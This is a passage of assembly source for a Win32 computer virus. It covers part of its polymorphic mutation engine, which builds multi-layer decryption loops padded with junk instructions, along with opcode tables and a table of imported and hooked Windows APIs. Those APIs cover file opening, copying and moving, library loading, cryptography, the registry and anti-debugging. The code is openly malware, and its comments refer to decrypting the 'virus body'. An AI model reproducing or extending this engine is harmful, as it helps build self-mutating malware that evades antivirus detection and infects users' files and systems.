shl ah,3
|
|||
|
or ah,byte ptr [ebp+gl_index_reg]
|
|||
|
or ah,0C0h
|
|||
|
stosw
|
|||
|
mov ax,0C03Bh ;CMP instruction
|
|||
|
shl bl,3 ;empty reg << 3
|
|||
|
or ah,bl
|
|||
|
or ah,[ebp+mlayer_reg]
|
|||
|
stosw
|
|||
|
call gen_garbage_no_flags
|
|||
|
mov ax,850Fh ;JNZ conditional jump
|
|||
|
stosw
|
|||
|
push edi
|
|||
|
stosd
|
|||
|
call gen_garbage
|
|||
|
mov ax,0C081h ;ADD instruction
|
|||
|
or ah,[ebp+mlayer_reg]
|
|||
|
stosw
|
|||
|
mov eax,[ebp+__pglg_num] ;number of gaps
|
|||
|
sub eax,ecx
|
|||
|
mov eax,[ebp+__pglg_where+eax*8+4]
|
|||
|
stosd
|
|||
|
call gen_garbage
|
|||
|
pop eax
|
|||
|
mov ebx,edi ;calculate JNZ offset
|
|||
|
sub ebx,eax
|
|||
|
sub ebx,4
|
|||
|
mov [eax],ebx
|
|||
|
dec ecx
|
|||
|
jnz __pgnlp_get_nums
|
|||
|
call gen_garbage
|
|||
|
|
|||
|
__pgnlp_finish:
|
|||
|
mov [esp],edi
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ function to generate decoder-loop <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function generates last JNZ jump to the start of de-
|
|||
|
;coder loop.
|
|||
|
;
|
|||
|
__pge_where dd 00000000h ;place to update
|
|||
|
;
|
|||
|
ppe_get_exloop:
|
|||
|
|
|||
|
; save all registers
|
|||
|
pusha
|
|||
|
|
|||
|
; build main compare instruction
|
|||
|
call gen_garbage
|
|||
|
call ppe_get_empty_reg
|
|||
|
call __reg_to_bcd
|
|||
|
or [ebp+used_regs],ah
|
|||
|
mov bl,al
|
|||
|
mov eax,[ebp+__mlg_size] ;size of the layers buf
|
|||
|
call ppe_crypt_value
|
|||
|
call gen_garbage
|
|||
|
mov ah,bl ;dest reg
|
|||
|
shl ah,03h
|
|||
|
or ah,[ebp+gl_index_reg]
|
|||
|
or ah,0C0h
|
|||
|
mov al,03h ;ADD
|
|||
|
stosw
|
|||
|
call gen_garbage
|
|||
|
mov ax,0C081h ;ADD
|
|||
|
or ah,bl
|
|||
|
stosw
|
|||
|
mov [ebp+__pge_where],edi
|
|||
|
stosd
|
|||
|
call gen_garbage
|
|||
|
mov ah,bl
|
|||
|
shl ah,03h
|
|||
|
or ah,[ebp+mlayer_reg]
|
|||
|
or ah,0C0h
|
|||
|
mov al,3Bh ;CMP instruction
|
|||
|
stosw
|
|||
|
mov al,bl
|
|||
|
call __reg_to_bcd
|
|||
|
not ax
|
|||
|
and [ebp+used_regs],ah ;disbale register
|
|||
|
call gen_garbage_no_flags
|
|||
|
mov ax,850Fh ;JNZ instruction
|
|||
|
stosw
|
|||
|
mov eax,[ebp+decoder_back] ;build JNZ offset
|
|||
|
sub eax,edi
|
|||
|
sub eax,4
|
|||
|
stosd
|
|||
|
call gen_garbage
|
|||
|
|
|||
|
; restore all registers
|
|||
|
mov [esp],edi
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ function to jump to 3rd decoding loop <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function checks whether virus body has been decrypt-
|
|||
|
;ed by multi-layers engine and then jumps to the 3rd deco-
|
|||
|
;ding loop to finish that work :).
|
|||
|
;
|
|||
|
ppe_get_return:
|
|||
|
|
|||
|
; save all registers
|
|||
|
pusha
|
|||
|
|
|||
|
; save used-regs
|
|||
|
movzx eax,byte ptr [ebp+gl_index_reg]
|
|||
|
call __reg_to_bcd
|
|||
|
mov [ebp+used_regs],ah
|
|||
|
|
|||
|
; generate offset to jump back
|
|||
|
call gen_garbage
|
|||
|
xor eax,eax
|
|||
|
mov ebx,[ebp+file_size3]
|
|||
|
sub ebx,eax
|
|||
|
push ebx
|
|||
|
|
|||
|
; ready to JMP there
|
|||
|
call ppe_get_empty_reg
|
|||
|
pop eax
|
|||
|
dec eax
|
|||
|
not eax
|
|||
|
call c_call_reg32 ;edi-2 = call reg32 instr
|
|||
|
mov eax,[ebp+g_cr32_jump]
|
|||
|
add byte ptr [eax-1],10h ;CALL reg32 --> JMP reg32
|
|||
|
|
|||
|
; generate final garbages
|
|||
|
mov eax,00000005h
|
|||
|
call ppe_get_rnd_range
|
|||
|
add eax,00000005h
|
|||
|
mov ecx,eax
|
|||
|
__pgr_final:
|
|||
|
call gen_garbage
|
|||
|
loop __pgr_final
|
|||
|
|
|||
|
; restore all registers
|
|||
|
mov [esp],edi
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ function to create multi-layer buffer <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function builds multi-layers buffer behind our poly-
|
|||
|
;morphic code.
|
|||
|
;
|
|||
|
ppe_get_mlayer_buffer:
|
|||
|
|
|||
|
; save all registers
|
|||
|
pusha
|
|||
|
|
|||
|
; copy buffer from memory to EDI
|
|||
|
push edi ;start of memory layer buf
|
|||
|
mov esi,[ebp+__mlg_map] ;layers in memory
|
|||
|
mov ecx,[ebp+__mlg_size] ;size of the buffer
|
|||
|
rep movsb
|
|||
|
|
|||
|
; generate some last garbages
|
|||
|
mov eax,00000005h
|
|||
|
call ppe_get_rnd_range
|
|||
|
add eax,00000005h
|
|||
|
__pgmb_generate:
|
|||
|
call gen_garbage
|
|||
|
dec eax
|
|||
|
jnz __pgmb_generate
|
|||
|
|
|||
|
; update multi-layer pointer in "ppe_get_layer_pointer"
|
|||
|
pop ebx ;start of mem layers buffers
|
|||
|
sub ebx,[ebp+poly_start] ;EAX - poly_start = pos
|
|||
|
mov eax,ebx
|
|||
|
sub eax,[ebp+__pglp_old_val]
|
|||
|
mov edx,[ebp+__pglp_ov_where]
|
|||
|
mov [edx],eax
|
|||
|
|
|||
|
; update multi-layer pointer in "ppe_get_exloop"
|
|||
|
mov edx,[ebp+__pge_where]
|
|||
|
mov [edx],ebx
|
|||
|
|
|||
|
; update multi-layer pointers in "ppe_get_next_layer_pointer"
|
|||
|
mov esi,[ebp+__pglg_num]
|
|||
|
xor ecx,ecx
|
|||
|
or esi,esi ;no gaps ?
|
|||
|
jz __pgmb_finish
|
|||
|
__pgmb_next_change:
|
|||
|
inc ecx
|
|||
|
mov eax,ebx
|
|||
|
add eax,[ebp+__pglg_where+ecx*8-8];where is the gap
|
|||
|
sub eax,[ebp+__pgnlp_old+esi*8-8] ;get random number
|
|||
|
mov edx,[ebp+__pgnlp_old+esi*8-4] ;position
|
|||
|
mov [edx],eax
|
|||
|
dec esi
|
|||
|
cmp [ebp+__pglg_num],ecx
|
|||
|
jnz __pgmb_next_change
|
|||
|
|
|||
|
; restore all registers
|
|||
|
__pgmb_finish:
|
|||
|
mov [esp],edi
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ function for write insignificant data <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
ppe_gen_rnd_block:
|
|||
|
mov eax,00000014h
|
|||
|
call ppe_get_rnd_range
|
|||
|
add eax,00000005h
|
|||
|
mov ecx,eax
|
|||
|
|
|||
|
ppe_gen_rnd_fill:
|
|||
|
cld
|
|||
|
movzx eax,byte ptr [ebp+compare_index]
|
|||
|
cmp eax,00000005h
|
|||
|
jae ppe_gen_rnd_loop
|
|||
|
push ebx
|
|||
|
mov ebx,eax
|
|||
|
mov eax,ecx
|
|||
|
sub eax,00000004h ;far JMP's five bytes - 1
|
|||
|
call ppe_get_rnd_range
|
|||
|
add eax,edi
|
|||
|
sub eax,[ebp+poly_start]
|
|||
|
mov [ebp+compare_buffer+ebx*04h],eax
|
|||
|
inc byte ptr [ebp+compare_index]
|
|||
|
pop ebx
|
|||
|
ppe_gen_rnd_loop:
|
|||
|
call ppe_get_rnd32
|
|||
|
stosb
|
|||
|
loop ppe_gen_rnd_loop
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ functions returns (empty) base reg <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
ppe_get_reg: mov eax,00000008h
|
|||
|
call ppe_get_rnd_range
|
|||
|
lea ebx,dword ptr [ebp+tbl_regs+eax*02h]
|
|||
|
ret
|
|||
|
|
|||
|
ppe_get_empty_reg:
|
|||
|
call ppe_get_reg
|
|||
|
test byte ptr [ebx+REG_FLAGS],REG_IS_STACK
|
|||
|
jnz ppe_get_empty_reg
|
|||
|
call __reg_to_bcd
|
|||
|
test [ebp+used_regs],ah
|
|||
|
jnz ppe_get_empty_reg
|
|||
|
movzx ax,al
|
|||
|
ret
|
|||
|
|
|||
|
__reg_to_bcd:
|
|||
|
push ebx
|
|||
|
movzx ebx,al
|
|||
|
movzx ebx,byte ptr [ebp+tbl_regs_bcd+ebx]
|
|||
|
mov ah,bl
|
|||
|
pop ebx
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ random numbers <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
ppe_get_rnd32:
|
|||
|
push ebx ecx edx ;my special algorithm to
|
|||
|
mov eax,[ebp+poly_seed] ;calculate a random number
|
|||
|
mov ecx,41C64E6Dh ;for Win32
|
|||
|
mul ecx
|
|||
|
xchg eax,ecx
|
|||
|
call [ebp+ddGetTickCount]
|
|||
|
mov ebx,eax
|
|||
|
db 0Fh, 31h ;RDTCS instruction - read
|
|||
|
xor eax,ebx
|
|||
|
xchg ecx,eax ;PCs ticks to EDX:EAX
|
|||
|
mul ecx
|
|||
|
add eax,00003039h
|
|||
|
mov [ebp+poly_seed],eax
|
|||
|
pop edx ecx ebx
|
|||
|
ret
|
|||
|
|
|||
|
ppe_get_rnd_range:
|
|||
|
push ecx edx
|
|||
|
mov ecx,eax
|
|||
|
call ppe_get_rnd32
|
|||
|
xor edx,edx
|
|||
|
div ecx
|
|||
|
mov eax,edx
|
|||
|
pop edx ecx
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ polymorphic tables (PPE-II) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
; some equ's needed by Prizzy Polymorphic Engine (PPE-II)
|
|||
|
|
|||
|
REG_NO_8BIT equ 1 ;esi,edi,ebp aren't 8bit
|
|||
|
REG_IS_STACK equ 2 ;reg is stack because of copro
|
|||
|
REG_FLAGS equ 1 ;one byte to set tbl_regs' flags
|
|||
|
USED_MEMORY equ 30 ;we must be far then 30 bytes in poly
|
|||
|
USED_BASED equ 1 ;don't generate copro
|
|||
|
USED_FLAGS equ 2 ;generated garbages can't modify flags
|
|||
|
|
|||
|
; table of registers
|
|||
|
; DO NOT modify this table or the next because they're
|
|||
|
; dependent on - because of tranfer to reg_bcd
|
|||
|
|
|||
|
tbl_regs equ this byte
|
|||
|
db 00000000b,00h ;eax
|
|||
|
db 00000001b,00h ;ecx
|
|||
|
db 00000010b,00h ;edx
|
|||
|
db 00000011b,00h ;ebx
|
|||
|
db 00000100b,REG_IS_STACK ;esp
|
|||
|
db 00000101b,REG_NO_8BIT ;ebp
|
|||
|
db 00000110b,REG_NO_8BIT ;esi
|
|||
|
db 00000111b,REG_NO_8BIT ;edi
|
|||
|
end_regs equ this byte
|
|||
|
|
|||
|
; table for use registers, DO NOT modify or move
|
|||
|
|
|||
|
tbl_regs_bcd equ this byte
|
|||
|
db 00000001b ;eax, st(0)
|
|||
|
db 00000010b ;ecx, st(1)
|
|||
|
db 00000100b ;edx, st(2)
|
|||
|
db 00001000b ;ebx, st(3)
|
|||
|
db 00010000b ;esp, st(4)
|
|||
|
db 00100000b ;ebp, st(5)
|
|||
|
db 01000000b ;esi, st(4)
|
|||
|
db 10000000b ;edi, st(7)
|
|||
|
end_regs_bcd equ this byte
|
|||
|
|
|||
|
; opcodes for math reg,imm
|
|||
|
|
|||
|
tbl_math_imm equ this byte
|
|||
|
db 0C0h ;add
|
|||
|
db 0C8h ;or
|
|||
|
db 0E0h ;and
|
|||
|
db 0E8h ;sub
|
|||
|
db 0F0h ;xor
|
|||
|
db 0D0h ;adc
|
|||
|
db 0D8h ;sbb
|
|||
|
end_math_imm equ this byte
|
|||
|
|
|||
|
; opcodes for math reg,reg
|
|||
|
|
|||
|
tbl_math_reg equ this byte
|
|||
|
db 03h ;add
|
|||
|
db 0Bh ;or
|
|||
|
db 13h ;adc
|
|||
|
db 1Bh ;sbb
|
|||
|
db 23h ;and
|
|||
|
db 2Bh ;sub
|
|||
|
db 33h ;xor
|
|||
|
end_math_reg equ this byte
|
|||
|
|
|||
|
; one byte instructions that doesn't modify reg
|
|||
|
|
|||
|
tbl_save_code equ this byte
|
|||
|
clc
|
|||
|
stc
|
|||
|
cmc
|
|||
|
cld
|
|||
|
std
|
|||
|
end_save_code equ this byte
|
|||
|
|
|||
|
; opcodes for rotate/shift reg,imm
|
|||
|
|
|||
|
tbl_rs_imm equ this byte
|
|||
|
db 0C0h ;rol
|
|||
|
db 0C8h ;ror
|
|||
|
db 0D0h ;rcl
|
|||
|
db 0D8h ;rcr
|
|||
|
db 0E0h ;shl
|
|||
|
db 0E8h ;shr
|
|||
|
db 0F8h ;sar
|
|||
|
end_rs_imm equ this byte
|
|||
|
|
|||
|
; opcodes for bit tests reg,imm
|
|||
|
|
|||
|
tbl_bt_imm equ this byte
|
|||
|
db 0E0h, 0E8h, 0F0h, 0F8h ;bt, bts, btr, btc
|
|||
|
end_bt_imm equ this byte
|
|||
|
|
|||
|
; opcodes for bit tests reg,reg
|
|||
|
|
|||
|
tbl_bt_reg equ this byte
|
|||
|
db 0A3h, 0ABh, 0B3h, 0BBh ;bt, bts, btr btc
|
|||
|
end_bt_reg equ this byte
|
|||
|
|
|||
|
; opcodes for generate defined number
|
|||
|
; decode_instruction = encode_instruction + 1st_number
|
|||
|
; reg32 = 2nd_number + defined_reg32
|
|||
|
; immX = 3rd_number * 8
|
|||
|
|
|||
|
tbl_num_code equ this byte
|
|||
|
db 003h,081h,0C0h,04h ;add (reg32), imm32
|
|||
|
db 0FBh,081h,0E8h,04h ;sub (reg32), imm32
|
|||
|
db 0FFh,081h,0F0h,04h ;xor (reg32), imm32
|
|||
|
db 003h,0C1h,0C0h,01h ;rol (reg32), imm8
|
|||
|
db 0FBh,0C1h,0C8h,01h ;ror (reg32), imm8
|
|||
|
db 0FFh,0F7h,0D0h,00h ;not (reg32)
|
|||
|
end_num_code equ this byte
|
|||
|
|
|||
|
; table of rep/repnz operations
|
|||
|
|
|||
|
tbl_repeat equ this byte
|
|||
|
dd offset __gr_cmps ;compare mem operand
|
|||
|
dd offset __gr_lods ;load mem operand
|
|||
|
dd offset __gr_stos ;store mem data
|
|||
|
dd offset __gr_scas ;scan mem
|
|||
|
dd offset __gr_movs ;move data from mem to mem
|
|||
|
end_repeat equ this byte
|
|||
|
|
|||
|
; table of the second encode-loop
|
|||
|
; the first value means - count
|
|||
|
; the second value means - random select ?
|
|||
|
; the third value means - already generated ?
|
|||
|
|
|||
|
tbl_encode_loop equ this byte
|
|||
|
db 05h, 01h
|
|||
|
dd 00000000h, offset ppe_lloop_generate
|
|||
|
dd 00000000h, offset ppe_mlayer_generate
|
|||
|
dd 00000000h, offset ppe_brute_init
|
|||
|
dd 00000000h, offset ppe_get_delta
|
|||
|
dd 00000000h, offset ppe_get_layer_gaps
|
|||
|
db 02h, 00h
|
|||
|
dd 00000000h, offset ppe_get_index
|
|||
|
dd 00000000h, offset ppe_get_layer_pointer
|
|||
|
db 01h, 01h
|
|||
|
dd 00000000h, offset ppe_decoder
|
|||
|
db 02h, 00h
|
|||
|
dd 00000000h, offset ppe_get_next_code
|
|||
|
dd 00000000h, offset ppe_get_next_layer_pointer
|
|||
|
db 03h, 01h
|
|||
|
dd 00000000h, offset ppe_get_exloop
|
|||
|
dd 00000000h, offset ppe_get_return
|
|||
|
dd 00000000h, offset ppe_get_mlayer_buffer
|
|||
|
end_encode_loop equ this byte
|
|||
|
|
|||
|
; table of the instructions which they don't modify flags
|
|||
|
; 1st value = move to original instructions
|
|||
|
; 2nd value = how many garbages don't modify flags
|
|||
|
|
|||
|
tbl_no_flags equ this byte
|
|||
|
db 06h, (__no_flags_1 - tbl_garbage) / 04h
|
|||
|
db 06h, (__no_flags_2 - tbl_garbage) / 04h
|
|||
|
end_no_flags equ this byte
|
|||
|
|
|||
|
; hyper table of garbages (support only copro)
|
|||
|
; where __no_flags_X means the following garbages don't
|
|||
|
; modify any flags, do NOT modify this table 'cause of flags
|
|||
|
|
|||
|
tbl_garbage equ this byte
|
|||
|
dd offset g_push_g_pop ;push reg/garbage/pop reg
|
|||
|
__no_flags_1:dd offset g_movreg32imm ;mov reg32,imm
|
|||
|
dd offset g_movreg16imm ;mov reg16,imm
|
|||
|
dd offset g_movreg8imm ;mov reg8,imm
|
|||
|
dd offset g_movregreg32 ;mov reg32,reg32
|
|||
|
dd offset g_movregreg16 ;mov reg16,reg16
|
|||
|
dd offset g_movregreg8 ;mov reg8,reg8
|
|||
|
dd offset g_mathreg32imm ;math reg32,imm
|
|||
|
dd offset g_mathreg16imm ;math reg16,imm
|
|||
|
dd offset g_mathreg8imm ;math reg8,imm
|
|||
|
__no_flags_2:dd offset g_call_cont ;call/garbage/pop
|
|||
|
dd offset g_jump_u ;jump/rnd data
|
|||
|
dd offset g_jump_c ;jump conditional/garbage
|
|||
|
dd offset g_movzx_movsx_32 ;movzx/movsx reg32,reg16
|
|||
|
dd offset g_movzx_movsx_16 ;movzx/movsx reg16,reg8
|
|||
|
dd offset g_movzx_movsx_8 ;movzx/movsx reg32,reg8
|
|||
|
dd offset g_rotate_shift32 ;(rcr,sal...) reg32,imm8
|
|||
|
dd offset g_rotate_shift16 ;(ror,shl...) reg16,imm8
|
|||
|
dd offset g_rotate_shift8 ;(rol,shr...) reg8,imm8
|
|||
|
dd offset g_rs_reg32reg8 ;(rcr,sal...) reg32,reg8
|
|||
|
dd offset g_rs_reg16reg8 ;(ror,shl...) reg16,reg8
|
|||
|
dd offset g_rs_reg8reg8 ;(rol,shr...) reg8,reg8
|
|||
|
dd offset g_bit_test32 ;(bsf,bsr...) reg32,imm8
|
|||
|
dd offset g_bit_test16 ;(btc,bts...) reg16,imm8
|
|||
|
dd offset g_bt_regreg32 ;(bsf,bsr...) reg32,reg32
|
|||
|
dd offset g_bt_regreg16 ;(btc,bts...) reg16,reg16
|
|||
|
dd offset g_mathregreg32 ;(add,sub...) reg32,reg32
|
|||
|
dd offset g_mathregreg16 ;(xor,and...) reg16,reg16
|
|||
|
dd offset g_mathregreg8 ;(sbb,adc...) reg8,reg8
|
|||
|
dd offset g_set_byte ;(seta,setp.) reg8
|
|||
|
dd offset g_loop ;garbage/(loope/loopnz...)
|
|||
|
dd offset g_loop_jump ;garbage/(dec reg8/16/32, jnz)
|
|||
|
dd offset g_call_reg32 ;gen reg32/call reg32/rndblock/pop reg32
|
|||
|
dd offset g_jump_reg32 ;gen reg32/jump reg32/rndblock
|
|||
|
dd offset g_repeat ;gen regz/rep(lods,cmps...)
|
|||
|
dd offset g_pushpop_value ;push rnd(32/16)/garbage/pop reg32
|
|||
|
dd offset g_crypt_value ;crypt rnd32 value to reg32
|
|||
|
dd offset g_compare ;dec reg32/cmp r32,r32/jnz
|
|||
|
end_garbage equ this byte
|
|||
|
|
|||
|
__garbage_based_num equ (offset end_garbage - offset tbl_garbage) / 04h
|
|||
|
|
|||
|
;<3B><>Ĵ some valuez needed by virus <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
; kernel32's base address & its functions
|
|||
|
kernel_base dd 00000000h ;thx to z0mbie & Vecna
|
|||
|
user32_base dd 00000000h ;used in "kernel memory"
|
|||
|
advapi_base dd 00000000h
|
|||
|
|
|||
|
; my big APIs table, using three libraries
|
|||
|
|
|||
|
FunctionAddresses:
|
|||
|
ddGetProcAddress dd 00000000h ;standard functions
|
|||
|
ddGetModuleHandleA dd 00000000h
|
|||
|
ddGetDriveTypeA dd 00000000h
|
|||
|
ddFindFirstFileA dd 00000000h ;FindFIles functions
|
|||
|
ddFindNextFileA dd 00000000h
|
|||
|
ddFindClose dd 00000000h
|
|||
|
ddReadFile dd 00000000h ;FileHandle functions
|
|||
|
ddWriteFile dd 00000000h
|
|||
|
ddSetFilePointer dd 00000000h
|
|||
|
ddSetEndOfFile dd 00000000h
|
|||
|
ddCloseHandle dd 00000000h
|
|||
|
ddDeleteFileA dd 00000000h
|
|||
|
ddSetFileAttributesA dd 00000000h
|
|||
|
ddCreateFileMappingA dd 00000000h ;memory-mapped functions
|
|||
|
ddMapViewOfFile dd 00000000h
|
|||
|
ddUnmapViewOfFile dd 00000000h
|
|||
|
ddGetTempPathA dd 00000000h ;get windows information
|
|||
|
ddGetTempFileNameA dd 00000000h
|
|||
|
ddGetSystemDirectoryA dd 00000000h
|
|||
|
ddGetWindowsDirectoryA dd 00000000h
|
|||
|
ddWritePrivatePFStringA dd 00000000h
|
|||
|
ddGetModuleFileNameA dd 00000000h
|
|||
|
ddGetVersion dd 00000000h
|
|||
|
ddGetStartupInfoA dd 00000000h ;process information
|
|||
|
ddWaitForSingleObject dd 00000000h
|
|||
|
ddCreateProcessA dd 00000000h
|
|||
|
ddOpenProcess dd 00000000h
|
|||
|
ddGetCurrentProcessId dd 00000000h
|
|||
|
ddCreateMutexA dd 00000000h
|
|||
|
ddReleaseMutex dd 00000000h
|
|||
|
ddSleep dd 00000000h
|
|||
|
ddTerminateProcess dd 00000000h
|
|||
|
ddGetSystemTime dd 00000000h ;date & time functions
|
|||
|
ddGetTickCount dd 00000000h
|
|||
|
ddGetFileSize dd 00000000h
|
|||
|
ddGetFileTime dd 00000000h
|
|||
|
ddSetFileTime dd 00000000h
|
|||
|
ddFileTimeToSystemTime dd 00000000h
|
|||
|
ddSystemTimeToFileTime dd 00000000h
|
|||
|
ddIsDebuggerPresent dd 00000000h ;anti-debugging & anti-emul
|
|||
|
ddCreateThread dd 00000000h
|
|||
|
ddWideCharToMultiByte dd 00000000h ;stringz, characterz
|
|||
|
ddlstrcat dd 00000000h
|
|||
|
ddlstrlen dd 00000000h
|
|||
|
ddIsBadCodePtr dd 00000000h
|
|||
|
ddGetLastError dd 00000000h
|
|||
|
HookedAddresses:
|
|||
|
ddCreateFileW dd 00000000h ;opening files APIs
|
|||
|
ddCreateFileA dd 00000000h
|
|||
|
ddOpenFile dd 00000000h
|
|||
|
dd_lopen dd 00000000h
|
|||
|
ddCopyFileW dd 00000000h ;Copy/Move files APIs
|
|||
|
ddCopyFileA dd 00000000h
|
|||
|
ddMoveFileW dd 00000000h
|
|||
|
ddMoveFileA dd 00000000h
|
|||
|
ddMoveFileExW dd 00000000h
|
|||
|
ddMoveFileExA dd 00000000h
|
|||
|
ddLoadLibraryW dd 00000000h ;opening libraries APIs
|
|||
|
ddLoadLibraryA dd 00000000h
|
|||
|
ddLoadLibraryExW dd 00000000h
|
|||
|
ddLoadLibraryExA dd 00000000h
|
|||
|
ddFreeLibrary dd 00000000h
|
|||
|
|
|||
|
; functions from ADVAPI32.DLL library
|
|||
|
HookedAddresses_advapi32:
|
|||
|
ddCryptAcquireContextA dd 00000000h ;Cryptography functions
|
|||
|
ddCryptExportKey dd 00000000h
|
|||
|
ddCryptImportKey dd 00000000h
|
|||
|
ddCryptGetUserKey dd 00000000h
|
|||
|
ddCryptGetProvParam dd 00000000h
|
|||
|
ddCryptGenKey dd 00000000h
|
|||
|
ddCryptEncrypt dd 00000000h
|
|||
|
ddCryptDecrypt dd 00000000h
|
|||
|
ddCryptDestroyKey dd 00000000h
|
|||
|
ddCryptReleaseContext dd 00000000h
|
|||
|
ddRegOpenKeyExA dd 00000000h ;Registry functions
|
|||
|
ddRegQueryValueExA dd 00000000h
|
|||
|
ddRegQueryInfoKeyA dd 00000000h
|
|||
|
ddRegEnumValueA dd 00000000h
|
|||
|
ddRegSetValueExA dd 00000000h
|
|||
|
ddRegCreateKeyExA dd 00000000h
|
|||
|
ddRegCloseKey dd 00000000h
|
|||
|
|
|||
|
; functions from USER32.DLL library
|
|||
|
HookedAddresses_user32:
|
|||
|
ddSetTimer dd 00000000h
|
|||
|
ddKillTimer dd 00000000h
|
|||
|
ddFindWindowA dd 00000000h
|
|||
|
ddPostMessageA dd 00000000h
|
|||
|
ddCharUpperBuffA dd 00000000h
|
|||
|
|
|||
|
|
|||
|
FunctionNames:
|
|||
|
szGetProcAddress: __macro_CRC32 <GetProcAddress>
|
|||
|
szGetModuleHandleA: __macro_CRC32 <GetModuleHandleA>
|
|||
|
szGetDriveTypeA: __macro_CRC32 <GetDriveTypeA>
|
|||
|
szFindFirstFileA: __macro_CRC32 <FindFirstFileA>
|
|||
|
szFindNextFileA: __macro_CRC32 <FindNextFileA>
|
|||
|
szFindClose: __macro_CRC32 <FindClose>
|
|||
|
szReadFile: __macro_CRC32 <ReadFile>
|
|||
|
szWriteFile: __macro_CRC32 <WriteFile>
|
|||
|
szSetFilePointer: __macro_CRC32 <SetFilePointer>
|
|||
|
szSetEndOfFile: __macro_CRC32 <SetEndOfFile>
|
|||
|
szCloseHandle: __macro_CRC32 <CloseHandle>
|
|||
|
szDeleteFileA: __macro_CRC32 <DeleteFileA>
|
|||
|
szSetFileAttributesA: __macro_CRC32 <SetFileAttributesA>
|
|||
|
szCreateFileMappingA: __macro_CRC32 <CreateFileMappingA>
|
|||
|
szMapViewOfFile: __macro_CRC32 <MapViewOfFile>
|
|||
|
szUnmapViewOfFile: __macro_CRC32 <UnmapViewOfFile>
|
|||
|
szGetTempPathA: __macro_CRC32 <GetTempPathA>
|
|||
|
szGetTempFileName: __macro_CRC32 <GetTempFileNameA>
|
|||
|
szGetSystemDirectoryA: __macro_CRC32 <GetSystemDirectoryA>
|
|||
|
szGetWindowsDirectoryA: __macro_CRC32 <GetWindowsDirectoryA>
|
|||
|
szWritePrivatePFStringA:__macro_CRC32 <WritePrivateProfileStringA>
|
|||
|
szGetModuleFileNameA: __macro_CRC32 <GetModuleFileNameA>
|
|||
|
